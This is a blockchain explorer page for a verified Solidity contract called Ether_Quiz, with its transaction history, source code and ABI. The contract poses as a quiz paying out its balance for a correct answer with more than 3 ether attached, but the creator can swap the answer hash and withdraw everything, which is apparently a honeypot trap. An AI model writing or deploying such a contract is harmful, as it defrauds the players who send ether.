Contract 0x63D3D0215922b924C782c7B2a351eF8604e18Da7

 
 
Txn Hash
Method
Block
From
To
Value
0xfb12ab222cc1c008e493a6d4f0640fa107458da8f88328c93e77746e8a2cc3caTry71814252019-02-06 3:52:461290 days 19 hrs ago0x6557c53dcd990bad1c833e2eddab152f3feb9d4f IN  0x63d3d0215922b924c782c7b2a351ef8604e18da70 Ether0.000182598
0x7408d3d9796174653d5e566c612a92647b53387a00077aee46b661c78a37a05cStop Game71814252019-02-06 3:52:461290 days 19 hrs ago0x6557c53dcd990bad1c833e2eddab152f3feb9d4f IN  0x63d3d0215922b924c782c7b2a351ef8604e18da70 Ether0.000017390.8
0x2d38f516ff73a0b59f90f8f39f8792e9cbba50e7d8319ba75db87201b57dab1fInitialize_ether...69597442018-12-27 3:00:091331 days 20 hrs ago0x6557c53dcd990bad1c833e2eddab152f3feb9d4f IN  0x63d3d0215922b924c782c7b2a351ef8604e18da70 Ether0.00025718
0x0ba8f0c718e83f0aee224aba632d3a05e303a203663c03104d9181c3385dc2a5Initialize_ether...69597052018-12-27 2:47:361331 days 20 hrs ago0x6557c53dcd990bad1c833e2eddab152f3feb9d4f IN  0x63d3d0215922b924c782c7b2a351ef8604e18da70 Ether0.000224967
0x312c4f187da00260f903eb73f96b33f84cc6d4996ad102dc73615a135327a957Try69596602018-12-27 2:33:371331 days 20 hrs ago0x15ae150d7dc03d3b635ee90b85219dbfe071ed35 IN  0x63d3d0215922b924c782c7b2a351ef8604e18da70 Ether0.00009184
0x02f74917f70f24351875560e5c8fdff6f0c504619e1cd1c8282377fecd5a91e6Try69593872018-12-27 1:22:541331 days 22 hrs ago0x15ae150d7dc03d3b635ee90b85219dbfe071ed35 IN  0x63d3d0215922b924c782c7b2a351ef8604e18da70 Ether0.000068473
0x98783b726a247e6f9496318c7615230bcbdf8169206c34c98c8119d7442a06feInitialize_ether...69568822018-12-26 15:14:051332 days 8 hrs ago0xdae10d96550f51ee893849fab23ca00a4f7fda35 IN  0x63d3d0215922b924c782c7b2a351ef8604e18da75 Ether0.0006830821
0x19aa8530326e5ddd551bf2716bd23e96cd4ce5aae11caa7408cc49fd4f1fc8200x6060604069568392018-12-26 15:06:531332 days 8 hrs ago0xdae10d96550f51ee893849fab23ca00a4f7fda35 IN  Create: Ether_Quiz0 Ether0.002959866
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Latest 1 internal transaction
Parent Txn Hash Block From To Value
0x9e6a86b623363a518697ab0b6df261878a780248ab1ffb6814ea834e3b17d22069689762018-12-28 16:29:031330 days 7 hrs ago 0x63d3d0215922b924c782c7b2a351ef8604e18da7 0x116a5c4d61eb9f91b6e1537ad314f6273c8908b15 Ether
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Contract Source Code Verified (Exact Match)

Contract Name:
Ether_Quiz

Compiler Version
v0.4.20+commit.3155dd80

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2018-12-26
*/

pragma solidity ^0.4.20;

contract Ether_Quiz
{
    function Try(string _response)
    external
    payable
    {
        require(msg.sender == tx.origin);
        
        if(responseHash == keccak256(_response) && msg.value > 3 ether)
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    string public question;
 
    address questionSender;
  
    bytes32 responseHash;
 
    function initialize_ether_quiz(string _question,string _response)
    public
    payable
    {
        if(responseHash==0x0)
        {
            responseHash = keccak256(_response);
            
            question = _question;
            
            questionSender = msg.sender;
        }
    }
    
    function StopGame()
    public
    payable
    {
       require(msg.sender==questionSender);
       
       msg.sender.transfer(this.balance);
    }
    
    function NewQuestion(string _question, bytes32 _responseHash)
    public
    payable
    {
        require(msg.sender==questionSender);
        
        question = _question;
        
        responseHash = _responseHash;
    }
    
    function() public payable{}
}

Contract Security Audit

Contract ABI

[{"constant":false,"inputs":[{"name":"_response","type":"string"}],"name":"Try","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_responseHash","type":"bytes32"}],"name":"NewQuestion","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"question","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_response","type":"string"}],"name":"initialize_ether_quiz","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"StopGame","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

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Swarm Source

bzzr://d7c2f612fba3c381b15bbb8aa36cf45e2b36675012b886770f068f86a349c0ec
Block Transaction Difficulty Gas Used Reward
Block Uncle Number Difficulty Gas Used Reward
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